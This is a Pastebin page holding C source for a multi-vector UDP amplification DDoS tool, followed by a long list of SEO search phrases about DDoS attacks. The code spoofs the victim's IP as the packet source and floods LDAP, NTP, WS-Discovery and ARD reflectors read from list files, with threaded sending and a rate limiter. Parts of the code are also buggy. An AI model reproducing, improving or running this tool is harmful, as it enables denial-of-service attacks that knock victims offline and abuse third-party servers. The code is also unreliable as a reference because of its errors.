Advertisement
oxlight

udpmix multi-vector amp script

Nov 27th, 2021
2,587
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 14.86 KB | None | 0 0
  1. #include <time.h>
  2. #include <pthread.h>
  3. #include <unistd.h>
  4. #include <stdio.h>
  5. #include <stdlib.h>
  6. #include <string.h>
  7. #include <sys/socket.h>
  8. #include <netinet/ip.h>
  9. #include <netinet/udp.h>
  10. #include <arpa/inet.h>
  11. #define MAX_PACKET_SIZE 8192
  12. #define PHI 0x9e3779b9
  13.  
  14. static uint32_t Q[4096], c = 362436;
  15. struct list
  16. {
  17.     struct sockaddr_in data;
  18.     struct list *next;
  19.     struct list *prev;
  20. };
  21. struct list *head;
  22. volatile int limiter;
  23. volatile unsigned int pps;
  24. volatile unsigned int sleeptime = 100;
  25. struct thread_data{ int thread_id; struct list *list_node; struct sockaddr_in sin; };
  26. void init_rand(uint32_t x)
  27. {
  28.     int i;
  29.     Q[0] = x;
  30.     Q[1] = x + PHI;
  31.     Q[2] = x + PHI + PHI;
  32.     for (i = 3; i < 4096; i++)
  33.     {
  34.     Q[i] = Q[i] ^ Q[i] ^ PHI ^ i;
  35.     }
  36. }
  37. uint32_t rand_cmwc(void)
  38. {
  39.     uint64_t t, a = 18782LL;
  40.     static uint32_t i = 4095;
  41.     uint32_t x, r = 0xfffffffe;
  42.     i = (i + 1) & 4095;
  43.     t = a * Q[i] + c;
  44.     c = (t >> 32);
  45.     x = t + c;
  46.     if (x < c) {
  47.     x++;
  48.     c++;
  49.     }
  50.     return (Q[i] = r - x);
  51. }
  52. unsigned short csum (unsigned short *buf, int nwords)
  53. {
  54.     unsigned long sum = 0;
  55.     for (sum = 0; nwords > 0; nwords--)
  56.     sum += *buf++;
  57.     sum = (sum >> 16) + (sum & 0xffff);
  58.     sum += (sum >> 16);
  59.     return (unsigned short)(~sum);
  60. }
  61.  
  62. char * lightamp_protocol(){
  63.     while(1){
  64.                 char *protocol[4];
  65.                 protocol[0] = "ldap.txt";
  66.                 protocol[1] = "ntp.txt";
  67.         protocol[2] = "wsd.txt";
  68.         protocol[3] = "ard.txt";
  69.         return protocol[rand()%4+0];
  70.     }
  71. }
  72. void *lightamp_setup(void *par1)
  73. {
  74.     struct thread_data *td = (struct thread_data *)par1;
  75.     char datagram[MAX_PACKET_SIZE];
  76.     struct iphdr *iph = (struct iphdr *)datagram;
  77.     struct udphdr *udph = (/*u_int8_t*/void *)iph + sizeof(struct iphdr);
  78.     struct sockaddr_in sin = td->sin;
  79.     struct  list *list_node = td->list_node;
  80.    
  81.     int s = socket(PF_INET, SOCK_RAW, IPPROTO_TCP);
  82.     if(s < 0){
  83.     fprintf(stderr, "Could not open raw socket.\n");
  84.     exit(-1);
  85.     }
  86.     init_rand(time(NULL));
  87.     memset(datagram, 0, MAX_PACKET_SIZE);
  88.     iph->ihl = 5;
  89.     iph->version = 4;
  90.     iph->tos = 0;
  91.     iph->id = htonl(rand()%13370+1);
  92.     iph->frag_off = 0;
  93.     iph->ttl = 255;
  94.     iph->protocol = IPPROTO_UDP;
  95.     iph->check = 0;
  96.     iph->saddr = inet_addr("192.168.3.100");
  97.     udph->source = htons(rand()%13370+80);
  98.     udph->check = 0;
  99.     iph->saddr = sin.sin_addr.s_addr;
  100.     iph->daddr = list_node->data.sin_addr.s_addr;
  101.     iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1);
  102.     if(lightamp_protocol() == "ldap.txt"){
  103.         memcpy((void *)udph + sizeof(struct udphdr), "\x30\x84\x01\x00\x01\x2d\x02\x01\x07\x63\x84\x00\x00\x00\x24\x04\x00\x0a\x01\x00\x0a\x01\x00\x02\x01\x00\x02\x01\x64\x01\x01\x00\x87\x0b\x6f\x62\x6a\x65\x63\x74\x43\x6c\x61\x73\x73\x30\x84\x00\x00\x00\x00", 51);
  104.         udph->len=htons(sizeof(struct udphdr) + 8);
  105.         udph->dest = htons(389);
  106.         iph->tot_len = sizeof(struct iphdr) + sizeof(struct udphdr) + 8;
  107.     }
  108.     if(lightamp_protocol() == "ntp.txt"){
  109.         memcpy((void *)udph + sizeof(struct udphdr), "\x17\x00\x03\x2a\x01\x00\x01\x00\x02\x01\x07\x63\x84\x00\x00\x00\x24\x04\x00\x0a\x01\x00\x0a\x01\x00\x02\x01\x00\x02\x01\x64\x01\x01\x00\x87\x0b\x6f\x62\x6a\x65\x63\x74\x43\x6c\x61\x73\x73\x30\x84\x00\x00\x00\x00", 8);
  110.         udph->len=htons(sizeof(struct udphdr) + 8);
  111.         udph->dest = htons(123);
  112.         iph->tot_len = sizeof(struct iphdr) + sizeof(struct udphdr) + 8;
  113.     }
  114.     if(lightamp_protocol() == "wsd.txt"){
  115.         memcpy((void *)udph + sizeof(struct udphdr), "<:/>", 8);
  116.         udph->len=htons(sizeof(struct udphdr) + 8);
  117.         udph->dest = htons(3702);
  118.         iph->tot_len = sizeof(struct iphdr) + sizeof(struct udphdr) + 8;
  119.     }
  120.     if(lightamp_protocol() == "ard.txt"){
  121.         memcpy((void *)udph + sizeof(struct udphdr), "\0\x14\0\x01\x03\x01\x00\x01\x00\x02\x01\x07\x63\x84\x00\x00\x00\x24\x04\x00\x0a\x01\x00\x0a\x01\x00\x02\x01\x00\x02\x01\x64\x01\x01\x00\x87\x0b\x6f\x62\x6a\x65\x63\x74\x43\x6c\x61\x73\x73\x30", 5);
  122.         udph->len=htons(sizeof(struct udphdr) + 8);
  123.         udph->dest = htons(3283);
  124.         iph->tot_len = sizeof(struct iphdr) + sizeof(struct udphdr) + 8;
  125.     }
  126.     int tmp = 1;
  127.     const int *val = &tmp;
  128.     if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, val, sizeof (tmp)) < 0){
  129.     fprintf(stderr, "Error: setsockopt() - Cannot set HDRINCL!\n");
  130.     exit(-1);
  131.     }
  132.     init_rand(time(NULL));
  133.     register unsigned int i;
  134.     i = 0;
  135.     while(1){
  136.         sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &list_node->data, sizeof(list_node->data));
  137.         list_node = list_node->next;
  138.         iph->daddr = list_node->data.sin_addr.s_addr;
  139.         iph->id = htonl(rand_cmwc() & 0xFFFFFFFF);
  140.         iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1);
  141.         pps++;
  142.         if(i >= limiter)
  143.         {
  144.             i = 0;
  145.             usleep(sleeptime);
  146.         }
  147.         i++;
  148.     }
  149. }
  150.  
  151. int main(int argc, char *argv[ ])
  152. {
  153.     if(argc < 5){
  154.     fprintf(stdout, "Usage: %s target IP threads pps limiter -1 time\n", argv[0]);
  155.         exit(-1);
  156.     }
  157.     srand(time(NULL));
  158.     int i = 0;
  159.     head = NULL;
  160.     fprintf(stdout, "Setting up sockets\n");
  161.     int max_len = 128;
  162.     char *buffer = (char *) malloc(max_len);
  163.     buffer = memset(buffer, 0x00, max_len);
  164.     int num_threads = atoi(argv[2]);
  165.     int maxpps = atoi(argv[3]);
  166.     limiter = 0;
  167.     pps = 0;
  168.     int multiplier = 100;
  169.     FILE *list_fd = fopen(lightamp_protocol(),  "r");
  170.     while (fgets(buffer, max_len, list_fd) != NULL) {
  171.         if ((buffer[strlen(buffer) - 1] == '\n') ||
  172.                 (buffer[strlen(buffer) - 1] == '\r')) {
  173.             buffer[strlen(buffer) - 1] = 0x00;
  174.             if(head == NULL)
  175.             {
  176.                 head = (struct list *)malloc(sizeof(struct list));
  177.                 bzero(&head->data, sizeof(head->data));
  178.                 head->data.sin_addr.s_addr=inet_addr(buffer);
  179.                 head->next = head;
  180.                 head->prev = head;
  181.             } else {
  182.                 struct list *new_node = (struct list *)malloc(sizeof(struct list));
  183.                 memset(new_node, 0x00, sizeof(struct list));
  184.                 new_node->data.sin_addr.s_addr=inet_addr(buffer);
  185.                 new_node->prev = head;
  186.                 new_node->next = head->next;
  187.                 head->next = new_node;
  188.             }
  189.             i++;
  190.         } else {
  191.             continue;
  192.         }
  193.     }
  194.     struct list *current = head->next;
  195.     struct sockaddr_in sin;
  196.     pthread_t thread[num_threads];
  197.     sin.sin_family = AF_INET;
  198.     sin.sin_addr.s_addr = inet_addr(argv[1]);
  199.     struct thread_data td[num_threads];
  200.     for(i = 0;i<num_threads;i++){
  201.         td[i].thread_id = i;
  202.         td[i].sin= sin;
  203.         td[i].list_node = current;
  204.         pthread_create( &thread[i], NULL, &lightamp_setup, (void *) &td[i]);
  205.     }
  206.     fprintf(stdout, "Starting...\n");
  207.     for(i = 0;i<(atoi(argv[4])*multiplier);i++)
  208.     {
  209.         usleep((1000/multiplier)*1000);
  210.         if((pps*multiplier) > maxpps)
  211.         {
  212.             if(1 > limiter)
  213.             {
  214.                 sleeptime+=100;
  215.             } else {
  216.                 limiter--;
  217.             }
  218.         } else {
  219.             limiter++;
  220.             if(sleeptime > 25)
  221.             {
  222.                 sleeptime-=25;
  223.             } else {
  224.                 sleeptime = 0;
  225.             }
  226.         }
  227.         pps = 0;
  228.     }
  229.     return 0;
  230. }
  231.  
  232. ddos attack
  233. ddos meaning
  234. ddos attack meaning
  235. ddosecrets
  236. ddos attacks today
  237. ddos protection
  238. doxing
  239. ddos definition
  240. ddos tool
  241. ddos vs dos
  242. ddos attack tools
  243. ddos attack definition
  244. ddos attack example
  245. ddos acronym
  246. ddos attack prevention
  247. a ddos attack
  248. a ddos attack can cause
  249. a ddos attack quizlet
  250. a ddos attack is more intensive than
  251. a ddos attack is performed at layer 7
  252. what is ddos attack example
  253. what happens during a ddos attack
  254. ddos botnet
  255. ddos bandwidth
  256. ddos bot
  257. ddos bots tf2
  258. ddos botnet github
  259. ddos botnet free
  260. ddos bitcoin
  261. ddos bot discord
  262. ddos checker
  263. ddos cyber attack
  264. ddos cloudflare
  265. ddos crime
  266. ddos computer
  267. ddos crypto
  268. ddos cyber security
  269. ddos cannon
  270. c ddos script
  271. c ddos github
  272. ddos c
  273. juno.c ddos
  274. ddos c'est quoi
  275. ddos c quoi
  276. ddos3r.c
  277. attaque ddos c'est quoi
  278. ddos def
  279. ddos definition computer
  280. ddos detection
  281. ddos defense
  282. ddos define
  283. ddos discord bot
  284. ddos download
  285. ddossed
  286. ddos examples
  287. ddos explained
  288. ddos extortion
  289. ddos email
  290. ddos error
  291. ddos event
  292. ddos effects
  293. ddos exploit
  294. exponential-e ddos
  295. ddos e dos
  296. ddos e crime
  297. ddos e crime portugal
  298. ddos e dns
  299. o'que e ddos
  300. oq e ddos
  301. email ddos
  302. ddos free
  303. ddos for hire
  304. ddos federal crime
  305. ddos felony
  306. ddos full form
  307. ddos fine
  308. ddos free online
  309. ddos ffxiv
  310. f-list ddos
  311. f-secure ddos
  312. ddos gaming
  313. ddos guide
  314. ddos guard verizon
  315. ddos gaming meaning
  316. ddos gif
  317. ddos google
  318. ddos gta online
  319. ddos guide destiny
  320. ddosing
  321. ddos hack
  322. ddos how to
  323. ddos hackers
  324. ddos how to prevent
  325. ddos hosting
  326. ddos hyper
  327. ddos happening now
  328. ddos history
  329. ddos ip
  330. ddos illegal
  331. ddos internet
  332. ddos ip address online
  333. ddos in gaming
  334. ddos in cyber security
  335. ddos images
  336. ddos ion cannon
  337. ddosed
  338. i ddos him
  339. ddos i cmd
  340. i got ddosed
  341. can i ddos myself
  342. am i ddos
  343. i'm getting ddosed
  344. can i ddos my friend
  345. ddos jail time
  346. ddos jobs
  347. ddos jokes
  348. ddos jelentése
  349. ddos java
  350. ddos juniper
  351. ddos javascript
  352. ddos java code
  353. j-ddos-sec-ap 4
  354. ddos kali linux
  355. ddos kahoot
  356. ddos kiwibank
  357. ddos kya hai
  358. ddos ka full form
  359. ddos kubernetes
  360. ddos kali linux 2021
  361. ddos kali linux tools
  362. s k ddos
  363. ddos league of legends
  364. ddos live map
  365. ddos link
  366. ddos legality
  367. ddos law
  368. ddos lumen
  369. ddos layers
  370. ddos linux
  371. l'attaque ddos
  372. ddos mitigation
  373. ddos map
  374. ddos meaning gaming
  375. ddos mitigation techniques
  376. ddos mitigation services
  377. ddos meaning slang
  378. ddos me
  379. ddos m
  380. ddos fivem
  381. m.pifra/ddos
  382. m-net ddos
  383. ddos news
  384. ddos network
  385. ddos networkchuck
  386. ddos network attack
  387. ddos now
  388. ddos nintendo switch
  389. ddos netflix
  390. ddos news today
  391. ddos online
  392. ddos online tool
  393. ddos on xbox
  394. ddos overwatch
  395. ddos on voip
  396. ddos orbital ion cannon
  397. ddos online free
  398. ddos on ps4
  399. ddos o que é
  400. ddos o dos
  401. o que ddos
  402. o q é ddos
  403. ataques ddos o que são
  404. o que sao dados
  405. como funciona o ddos
  406. o que ataque ddos
  407. ddos prevention
  408. ddos panel
  409. ddos protection guide
  410. ddos protection azure
  411. ddos prevention tools
  412. ddos protection aws
  413. ddos protection by cloudflare stuck
  414. ddos p
  415. ddos questions
  416. ddos que es
  417. ddos quick guide
  418. ddos quotes
  419. ddos quiz
  420. ddos questions to ask
  421. ddos quora
  422. ddos que é
  423. ddos roblox
  424. ddos reflection attack
  425. ddos ransomware
  426. ddos router
  427. ddos report
  428. ddos r6
  429. ddos roblox server
  430. ddos rate limiting
  431. r/ddos
  432. ddos stands for
  433. ddos software
  434. ddos site
  435. ddos service
  436. ddos script
  437. ddos someone
  438. ddos someones ip
  439. is ddosing illegal
  440. is ddos a felony
  441. is ddos a federal crime
  442. is ddos illegal in us
  443. is ddos a crime
  444. is ddos legal
  445. is ddos hacking
  446. is ddosing on xbox illegal
  447. ddos test
  448. ddos tracker
  449. ddos tool download
  450. ddos tutorial
  451. ddos today
  452. ddos tool online
  453. ddos tf2
  454. ddos t mobile
  455. at&t ddos
  456. at&t ddos protection
  457. at&t ddos attack
  458. at&t ddos attack 2020
  459. t mobile ddos reddit
  460. nsx-t ddos
  461. at&t ddos pricing
  462. ddos urban dictionary
  463. ddos udp
  464. ddos using kali linux
  465. ddos udp flood
  466. ddos using cmd
  467. ddos using ip
  468. ddos us
  469. ddos uk
  470. ddos u.s
  471. ddos u hrvatskoj
  472. can u ddos a phone
  473. can u ddos
  474. can u ddos closed port
  475. how do u ddos someone
  476. how do u ddos
  477. u.s under ddos attack
  478. ddos voip
  479. ddos vs dox
  480. ddos vector
  481. ddos voip.ms
  482. ddos verizon
  483. ddos vendors
  484. ddos virus
  485. gta v ddos
  486. gta v ddos attack
  487. what are the three types of dos and ddos attacks
  488. the difference between ddos and dos
  489. what is a dos and ddos attack
  490. ddos website
  491. ddos website free
  492. ddos website tool
  493. ddos wifi
  494. ddos what is
  495. ddos wiki
  496. ddos with ip
  497. ddos warzone
  498. ddos with cmd
  499. ddos w notatniku
  500. dos ddos
  501. jak ddosowac w cmd
  502. ataki ddos w polsce
  503. ddos w sieci lokalnej
  504. ddos w grach
  505. ddos w cs go
  506. ddos xbox
  507. ddos xbox gamertag
  508. ddos xbox live
  509. ddos xbox booter
  510. ddos xbox party
  511. ddos xfinity
  512. ddos xbox reddit
  513. ddos xmlrpc.php
  514. edgerouter x ddos protection
  515. project x ddos
  516. xbox series x ddos protection
  517. x-forwarded-for ddos
  518. sophos intercept x ddos
  519. dos and ddos
  520. ddos yourself
  521. ddos youtube
  522. ddos yesterday
  523. ddos yourself test
  524. ddos yandex
  525. ddos your own network
  526. ddos your school
  527. ddos your own internet
  528. ddos y dos
  529. diferencia dos y ddos
  530. ddos zombie
  531. ddos zoom meeting
  532. ddos zombie nets
  533. ddos zscaler
  534. ddos zoom
  535. ddos znacenje
  536. ddos vent
  537. ddos zoom host
  538. dayz ddos attack
  539. world war z dogs
  540. jak z ddosowac kolege
  541. jak z ddosować internet
  542. jak kogoś z ddosować
  543. strony z ddos
  544. ddos 0ad
  545. ddos port 0
  546. ddos trackid=sp-006
  547. ddos samp server 0.3.7
  548. 01 ddos
  549. port 0 ddos
  550. 0 que é ddos
  551. ddos 127.0.0.1
  552. ddos 101
  553. ddos 100 gbps
  554. ddos 1gbps
  555. ddos 1tb
  556. ddos 1tbps
  557. ddos 1 catalina
  558. ddos 10gbps
  559. 1. ddos attack
  560. ddosr-1
  561. titanfall 1 ddos
  562. 1 tbps ddos attack
  563. layer 1 ddos
  564. 1tb ddos
  565. remote dd0sr-1
  566. ddos 2021
  567. ddos 2019
  568. ddos 2016
  569. ddos 2021 report
  570. ddos 2020 github
  571. ddos 2k20
  572. ddos 2k21
  573. ddos 2018
  574. dos 2 review
  575. titanfall 2 ddos
  576. titanfall 2 ddos attack
  577. destiny 2 ddos
  578. titanfall 2 ddos reddit
  579. destiny 2 ddos error code
  580. destiny 2 ddos protection
  581. dota 2 ddos
  582. ddos 33
  583. ddos 3389
  584. ddos 389
  585. ddos 3702
  586. ddos 3ds
  587. ddos 3d secure
  588. 3cx ddos
  589. 3283 ddos
  590. layer 3 ddos
  591. python 3 ddos script
  592. python 3 ddos attack script
  593. level 3 ddos attack today
  594. teamspeak 3 ddos protection
  595. hping3 ddos
  596. diablo 3 ddos
  597. arma 3 ddos
  598. ddos 403
  599. ddos 404 github
  600. ddos 404
  601. ddos 4chan
  602. ddos 443
  603. 4it ddos
  604. ddos layer 4
  605. ddos playstation 4
  606. layer 4 ddos
  607. layer 4 ddos github
  608. layer 4 ddos attacks
  609. battlefield 4 ddos
  610. layer 4 ddos scripts
  611. layer 4 ddos protection
  612. battlefield 4 ddos attack
  613. playstation 4 ddos
  614. ddos 503
  615. ddos 5g
  616. ddos 502 bad gateway
  617. ddos 502
  618. ddos 5.7 download
  619. ddos 504
  620. ddos 5.6 download
  621. ddos 5.7 admin guide
  622. gta 5 ddos
  623. top 5 ddos attacks
  624. layer 5 ddos
  625. 5 minute ddos
  626. battlefield 5 ddos
  627. ddos 6.2 admin guide
  628. ddos 6.2
  629. ddos 6.2 release notes
  630. ddos 6.1 admin guide
  631. ddos 6.0 download
  632. ddos 6.0 admin guide
  633. ddos 6.2 command reference guide
  634. ddos 6.1
  635. ddos 6/15/20
  636. rainbow 6 ddos
  637. rainbow 6 ddos attack
  638. layer 6 ddos
  639. centos 6 ddos
  640. ntp mode 6 ddos
  641. ddos 7.2 admin guide
  642. ddos 7.6 admin guide
  643. ddos 7.1 admin guide
  644. ddos 7.4 admin guide
  645. ddos 7.3 admin guide
  646. ddos 7.5 admin guide
  647. ddos 7.6 administration guide
  648. ddos 7.0 release notes
  649. ddos 7 layer
  650. ddos 7 admin guide
  651. ddos 7
  652. ddos 7 administration guide
  653. layer 7 ddos attack
  654. layer 7 ddos script github
  655. layer 7 ddos attack tool
  656. layer 7 ddos attack types
  657. ddos 8nv
  658. ddos 8.8.8.8
  659. 8x8 ddos attack
  660. ddos port 80
  661. ddos port 80 and 443
  662. anti ddos 8080
  663. ddos port 8080
  664. ddos attack port 80
  665. 8 best ddos attack tools
  666. centos 8 ddos protection
  667. centos 8 ddos
  668. continent8 ddos
  669. 8 ball pool ddos
  670. ddos 9/15/21
  671. ddos 911
  672. 9anime ddos attack
  673. 911 ddos threat analysis and mitigation
  674. ddos attack 9/15/21
  675. asr 9000 ddos
  676. cisco 9300 ddos
  677. tomcat 9 ddos
  678. debian 9 ddos protection
  679. sophos utm 9 ddos
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement